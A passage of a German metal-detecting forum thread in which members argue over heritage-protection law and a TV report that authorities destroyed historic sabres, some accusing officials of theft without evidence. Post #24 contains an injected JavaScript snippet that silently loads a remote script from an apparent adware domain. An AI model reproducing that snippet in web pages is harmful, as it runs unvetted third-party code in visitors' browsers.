[x] Bitte registrieren Sie sich um alle Funktionen des Forums nutzen zu können. Als Gast können Sie z.B. keine Bilder betrachten.

Registrieren          Schliessen
Achtung!
 >  Allgemeines Forum > Dies & Das > Film & Fernsehen > Thema:

 Zerstörung hist. Waffen durch die Polizei

Gehe zu:  
Avatar  Zerstörung hist. Waffen durch die Polizei  (Gelesen 3862 mal) 0
A A A A
*
0 Mitglieder und 1 Gast betrachten dieses Thema.
Seiten:  Prev 1 2 3   Nach unten
Offline
(versteckt)
#15
21. April 2013, um 22:20:08 Uhr

Geschrieben von Zitat von Charlie
Da bin ich ja mal gespannt wie die zuständige DschB gegen die Kampfmittelräumer vor geht.

1. Nichtmeldung von Funden welche BD's sein können.
2. Suchen in einem Bereich in denen BD's zu vermuten sind
und dies ohne die erforderliche NfG und somit billigende in Kaufnahme BD's
zu finden.
3. In D ist es historisch bedingt das alle behördlichen Tätigkeiten, akribisch bis ins Detail
dokumentiert sind. Hier spricht man einfach über eine undokumentierte Vernichtung.
Ich sehe hier den Verdacht der Fundunterschlagung als begründet. Wann erfolgt die
Hausdurchsuchung bei den Beteiligten?

Hier sollten wir nach haken.

Gruß Charlie

Mal ein wenig Gesetze lesen Cool

KMRD hat vom Gesetz geregelte Aufgaben, die über dem Denkmalschutz stehen, da Menschenleben direkt betroffen sind.

Die Ämter sprechen aber schon miteinander, aber nicht immer klapt das.

Offline
(versteckt)
#16
21. April 2013, um 22:23:37 Uhr

@ Charlie

da bin ich ganz deiner Meinung.
Es ist eine Schande sowas zu vernichten.  Idiot  Idiot  Idiot

Offline
(versteckt)
#17
21. April 2013, um 22:25:39 Uhr

§ 12 
Genehmigungspflichtige Vorhaben an Kulturdenkmalen
(1) Ein Kulturdenkmal darf nur mit Genehmigung der Denkmalschutzbehörde
5.zerstört oder beseitigt werden.
[/font][/color]
§ 20 
Funde
(1) Wer Sachen, Sachgesamtheiten, Teile oder Spuren von Sachen entdeckt, von denen anzunehmen ist, dass es sich um Kulturdenkmale handelt, hat dies unverzüglich einer Denkmalschutzbehörde anzuzeigen. Der Fund und die Fundstelle sind bis zum Ablauf des vierten Tages nach der Anzeige in unverändertem Zustand zu erhalten und zu sichern, sofern nicht die zuständige Fachbehörde mit einer Verkürzung der Frist einverstanden ist.

§ 35 
Straftaten
(1) Wer
1.
ohne die nach § 12 Abs. 1 Nr. 5 erforderliche Genehmigung ein Kulturdenkmal oder einen wesentlichen Teil eines Kulturdenkmals zerstört, [...]



wird mit Freiheitsstrafe bis zu zwei Jahren oder Geldstrafen bestraft.
[/font][/color]


Offline
(versteckt)
#18
21. April 2013, um 22:31:29 Uhr

Geschrieben von Zitat von insurgent
Mal ein wenig Gesetze lesen Cool

KMRD hat vom Gesetz geregelte Aufgaben, die über dem Denkmalschutz stehen, da Menschenleben direkt betroffen sind.

Die Ämter sprechen aber schon miteinander, aber nicht immer klapt das.


Mal wider typisches Bla bla bla von dir.

Wie so kommen wir beide nicht mal auf einen Nenner?

Du kannst doch nicht mit zweierlei Maß messen.
Angestellte im öffentlichen Dienst dürfen  frei tun und lassen was sie wollen
und Sondler nehmen billigend in Kauf auch wenn sie nur Euros suchen.

Dies betrifft aber nur Punkt 2 meines obigen Postings.

Auch Behördenangestellte oder gar Beamte unterstehen der Meldepflicht nach dem DschG.

Gruß Charlie

Offline
(versteckt)
#19
21. April 2013, um 22:35:35 Uhr

Geschrieben von Zitat von Charlie

Mal wider typisches Bla bla bla von dir.

..


So, schon mal nachgelesen Cool

Melde Dich mal, wenn Du in der Gegend bist.

Nur mal so ein Punkt

Sie haben nicht die Berechtigung Links zu sehen.
Registrieren oder Einlogen
http://de.wikipedia.org/wiki/Gefahrenabwehr


« Letzte Änderung: 21. April 2013, um 22:42:09 Uhr von (versteckt) »

Offline
(versteckt)
#20
21. April 2013, um 22:53:51 Uhr

Geschrieben von Zitat von Wühler
Kann mir schon denken wo die Säbel sind. Die sind doch auch nicht Blöd.


Verbrecher sind das.  Weinen .. , (völlig verblödet!) - zur Verantwortung ziehen die Leute.  * Allesamt! 

Und die sollen sich noch mal bei uns Sondlern aufregen, wegen unseren "besonders geschichtsträchtigen Teilen" !!

Und die Säbel sind garantiert nicht vernichtet. Die hat sich der "Ranghöchste" unters Brett" gezogen. SAUEREI, die schönen Säbel. So weit zur Gerechtigkeit in Deutschland. 

"DENKMALSCHUTZ" = Nietenverein !! , wo waren die denn ?? , ... wo greift den hier das vernetzte System ? 
 
Man ist das alles traurig.  Weinen .

*Wer den Abtransportbefehl gegeben hat, gehört an den Pranger! (Und das Haus gepfändet)

Offline
(versteckt)
#21
21. April 2013, um 22:54:55 Uhr

"sie fallen unters Kriegswaffenkontrollgesetz"   Grinsend  Grinsend  Grinsend 
Das ist doch ein scherz. Die haben doch echt keine Ahnung. Und das die Säbel vernichtet wurden stimmt wrsl. auch ned. Die hängen mit sicherheit jetzt bei jemanden anders an der Wand.

Offline
(versteckt)
#22
21. April 2013, um 22:58:41 Uhr

Geschrieben von Zitat von insurgent
So, schon mal nachgelesen Cool

Melde Dich mal, wenn Du in der Gegend bist.

Nur mal so ein Punkt

Sie haben nicht die Berechtigung Links zu sehen.
Registrieren oder Einlogen
http://de.wikipedia.org/wiki/Gefahrenabwehr



Wikipedia ist kein Gesetz sondern eine Datenbank. Also nur eine Orientierungshilfe.

Natürlich darf der KMRD nach gefährlichen Gegenständen suchen. Auch ohne NFG denn
er sucht ja nicht nach BD's.

Auf einem BD sollte es eine Zusammenarbeit mit KMRD und DschB geben.

Aber wenn er bei dieser Suche Sachen findet welche BD's seien können dann greift auch
hier das jeweilige DschG und danach ist zu handeln.
Und da gelten keine Absprachen von Amt zu Amt sondern der Gesetzestext.

Und vorausgesetzt der TV Bericht entspricht den Tatsachen wurde der Bürgermeister belogen
und die Säbel unterschlage.

Offline
(versteckt)
#23
21. April 2013, um 23:07:00 Uhr

Geschrieben von Zitat von Hannibal
"sie fallen unters Kriegswaffenkontrollgesetz"   Grinsend  Grinsend  Grinsend  
Das ist doch ein scherz. Die haben doch echt keine Ahnung. Und das die Säbel vernichtet wurden stimmt wrsl. auch ned. Die hängen mit sicherheit jetzt bei jemanden anders an der Wand.

Mutmaßlich beim Chef der Truppe Zwinkernd

Offline
(versteckt)
#24
21. April 2013, um 23:25:59 Uhr

Solche schönen Säbel  Fechten würde doch keiner von denen Entsorgen,die  [pinocio]wollen den Bürgermeister doch veräppeln.
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Offline
(versteckt)
#25
21. April 2013, um 23:29:48 Uhr

SO.VIEL.ÜBERLFÜSSIGE.LEUTE.AM.PLATZ ,

Gebt den Bürgermeister mal den LINK hier,   Engel - dann soll er sich einen guten Anwalt suchen, der dieser Sache nachgeht !

Ist leider schon wieder eine Frage des Geldes. Da würde ich gern was zuspenden.   Super

Offline
(versteckt)
#26
21. April 2013, um 23:56:31 Uhr

... alles verdammte schreibtischtäter ...

Offline
(versteckt)
Verwarnt
#27
22. April 2013, um 10:18:10 Uhr

@8000Hz
Was die Sache mit dem Denkmalschutz= Nietenverein betrifft ...
Die Realität ist halt so,dass jede Behörde ihr eigenes Süppchen kocht!
Bei uns z.B.hat die Forstbehörde auch neue Waldwege anlegen lassen
ohne dass die Denkmalschutzbehörde überhaupt darüber informiert wurde.
Da ist dann halt ein alter,enger,mittelalterlicher Hohlweg,
plötzlich eine bequeme Waldautobahn für den Langholzer.
Solche Sachen passieren leider tagtäglich in Deutschland!
Da ist die Schuld nicht bei den Denkmalschutzbehörden zu suchen,
sondern alleinig bei den Verursachern selbst!
Die Denkmalschutzbehörden können auch nur handeln,
wenn sie überhaupt davon informiert werden.
Nur mal so am Rande erwähnt.

Offline
(versteckt)
#28
22. April 2013, um 11:13:01 Uhr

So etwas zu vernichten ist unverantwortlich!  Weinen

Man brauch sich daher nicht  wundern dass solche Sachen einfach in
Sammlungen verschwinden,und nie gemeldet werden.Denn wenn man es tut dann
kommt sowas dabei raus  Ärgerlich


Schrecklich !!!!!!!!!

Indi

Offline
(versteckt)
#29
22. April 2013, um 11:15:07 Uhr

Na dann soll mal der gemeine Münzschrottraubgräber sein eigenes Süppchen kochen...hängt ihn hoch. Dann wissen nämlich alle beteiligten Behörden, wie man Zusammenarbeit schreibt.

Wenn es um die Gelüste des hobbyistisch niederen Hans Wurst geht, weiß merkwürdigerweise jede Reglementierungsstelle ganz genau, wie sie dir Einhalt zu gebieten hat und welche Form der Konsequenz zukünftig den Spaß versaut.

Die Medien verzerren Tathergänge nur allzu gern und ohne selbst betroffen zu sein, finde ich eine realistische Einschätzung oben genannter Sachlage nur sehr schwierig.
Tatsächlich führt diese Meldung in vielen Köpfen aber nur zu sinkendem Interesse, überhaupt eine etwaige Zusammenarbeit in Erwägung zu ziehen, ganz gleich wer hierfür verantwortlich ist.

Seiten:  Prev 1 2 3
Haftungsausschluss / Nutzungsbedingungen Datenschutzerklärung Impressum Kontakt Mobile Version
Powered by SMFPacks WYSIWYG Editor